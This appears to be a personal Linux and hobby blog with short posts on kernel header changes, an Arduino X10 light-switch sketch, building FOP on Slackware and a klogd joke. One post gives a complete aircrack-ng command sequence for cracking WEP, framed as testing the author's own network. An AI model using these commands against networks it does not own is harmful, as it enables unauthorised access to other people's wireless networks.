compiling from source against 2.6.33

i screwed up my slackware install on my laptop, did a reinstall, realized i installed 32-bit and decided to roll with it. everything i have gone to install out of the official tree has needed some patching due to the new kernel.

apparently the new kernel (2.6.33) no longer generates a file named /usr/src/`uname -r`/linux/autoconf.h and instead generates one named /usr/src/`uname -r`/generated/autoconf.h –> what this means to compiling from source is that all references to the linux/autoconf.h must be redirected to generated/autoconf.h

trust me that this is a major headache that isn’t very well documented yet

arduino, x10, buttons, and lcd

this code is one night old. more to come from it but it’s not much now:

#include <LiquidCrystal.h>
// initialize the library with the numbers of the interface pins
LiquidCrystal lcd(2, 3, 4, 5, 6, 7);
/*
brb 20091121
control 2 x10 devices (4 &2) via momentary switches on pins 10
and 12. x10 interface on pins 8 and 9 and a 16×2 lcd on 2, 3,
4, 5, 6, & 7. messages will be printed to the serial console and
to the lcd screen

hold down both buttons to shut all units off

*/
#include <x10.h>
#include <x10constants.h>

#define zcPin 8
#define dataPin 9

const int buttonPin2 = 10;
const int buttonPin = 12;     // the number of the pushbutton pin
const int ledPin =  13;      // the number of the LED pin
int buttonState = 0;
int buttonState2 = 0;         // variable for reading the pushbutton status
int buttoncount = 0;
int buttoncount2 = 0;
int resetcounterflag = 0;

// set up a new x10 instance:
x10 myHouse =  x10(zcPin, dataPin);

void setup() {
Serial.begin(9600);
// set up the LCD’s number of rows and columns:
lcd.begin(16, 2);
// Print a message to the LCD.
lcd.print(“poweredByCoffee”);
// initialize the LED pin as an output:
pinMode(ledPin, OUTPUT);
// initialize the pushbutton pin as an input:
pinMode(buttonPin, INPUT);
pinMode(buttonPin2, INPUT);
}

void loop() {
buttonState = digitalRead(buttonPin);
buttonState2 = digitalRead(buttonPin2);
// check if the pushbutton is pressed.
// if it is, the buttonState is HIGH:
if (buttonState == HIGH) {
delay(100);
if (buttonState2 == HIGH){
allUnitsOff();
}
else if (buttoncount == 0) {
digitalWrite(ledPin, LOW);
lcd.setCursor(0, 0);
// print the light status:
lcd.print(“Desk OFF  “);
Serial.println(“Desk Light off:”);
// send a “lights off” command to workbench light 1 time:
myHouse.write(A, UNIT_4, 1);
myHouse.write(A, OFF, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
}
buttoncount++;
delay(200);
if (resetcounterflag == 1){
resetcounterflag = 0;
buttoncount=0;
buttoncount2=0;
}
}
if(buttoncount == 2){
digitalWrite(ledPin, HIGH);
buttoncount=0;
lcd.setCursor(0, 0);
// print the light status:
lcd.print(“Desk ON   “);
Serial.println(“Desk Light on:”);
// send a “lights on” command to workbench light 1 time:
myHouse.write(A, UNIT_4, 1);
myHouse.write(A, ON, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
delay(200);
}
if (buttonState2 == HIGH) {
delay(100);
if (buttonState == HIGH){
allUnitsOff();
}
else if (buttoncount2 == 0) {
digitalWrite(ledPin, LOW);
lcd.setCursor(0, 0);
// print the light status:
lcd.print(“LR OFF     “);
Serial.println(“Living Room off:”);
// send a “lights off” command to workbench light 1 time:
myHouse.write(A, UNIT_2, 1);
myHouse.write(A, OFF, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
}
buttoncount2++;
delay(200);
if (resetcounterflag == 1){
resetcounterflag = 0;
buttoncount=0;
buttoncount2=0;
}
}
if(buttoncount2 == 2){
digitalWrite(ledPin, HIGH);
buttoncount2=0;
lcd.setCursor(0, 0);
// print the light status:
lcd.print(“LR ON      “);
Serial.println(“Living Room on:”);
// send a “lights on” command to workbench light 1 time:
myHouse.write(A, UNIT_2, 1);
myHouse.write(A, ON, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
delay(200);
}
//do nothing
lcd.setCursor(0, 1);
lcd.print(”  benduino x10″);
}

void allUnitsOff() {
digitalWrite(ledPin, LOW);
lcd.setCursor(0, 0);
// print the light status:
lcd.print(“ALL UNITS OFF”);
Serial.println(“All Units off:”);
// send a “lights off” command to workbench light 1 time:
myHouse.write(A, ALL_UNITS_OFF, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
resetcounterflag=1;
delay(100);
return;
}

wep cracking with aircrack-ng

had to get a new usb adapter that was capable of inject and monitor modes. took a chance with a netgear usb wg111 at best buy, it happened to be ralink based (wg111v3). then i installed the aircrack-ng suite and began testing my network with the commands below

scan for available networks using card that can do injection
# iwlist wlan0 scan
start airmon-ng on the appropriate channel and interface
# airmon-ng start wlan0 6
do an injection test for good measure
# aireplay-ng -9 wlan0
do an injection test against target network
# aireplay-ng -9 -e {ssid here} -a {mac of ap here} wlan0
start the airodump *needs dedicated terminal or backgrounding of process
# airodump-ng -c 6 –bssid {mac of ap here} -w output wlan0
begin probe *needs dedicated terminal or backgrounding of process
# aireplay-ng -1 6 -e {essid here} -a {mac of ap here} -h {mac of associated client or own mac} wlan0
begin injection *needs dedicated terminal or backgrounding of process
# aireplay-ng -3 -b {mac of ap here} -h {mac of associated client or own mac} wlan0
begin cracking *needs dedicated terminal or backgrounding of process
# aircrack-ng -z -b {mac of ap here} output*.cap

just let those things run until it gives you the key

moral of the story: never use WEP

fop 0.95 on slackware64

# slackpkg update

# slackpkg install jdk

# cd /usr/local/src

# wget http://archive.apache.org/dist/ant/source/apache-ant-1.6.5-src.tar.gz

# tar zxvf apache-ant-1.6.5-src.tar.gz

# cd apache-ant-1.6.5

#./build.sh

# cd ..

# wget http://apache.siamwebhosting.com/xmlgraphics/fop/source/fop-0.95-src.tar.gz

# tar zxvf fop-0.95-src.tar.gz

# cd fop-0.95

# /usr/local/src/apache-ant-1.6.5/dist/bin/ant

now you have a 64 bit fop…or you can download it here:

drunkensailor.org/software/fop-0.95-slackware64.tar.gz

i have my ant available here:

drunkensailor.org/software/ant-1.6.5-slackware64.tar.gz

*both of these are just meant to be unpacked where you want to run them from and require some funky or full paths. feel free to make a real slackware package and i’ll host it, but for now it’s just compiled binaries alongside the source.

**the ant package is not the most current version of ant(1.7.something) because it required JUnit.jar which i dont have or plan on having (not part of the official slackware jdk)

klogd it

step one: ln -s /dev/null /thetoilet

step two: klogd > /thetoilet  2>&1

this is how you can clog the toilet with 2s and 1s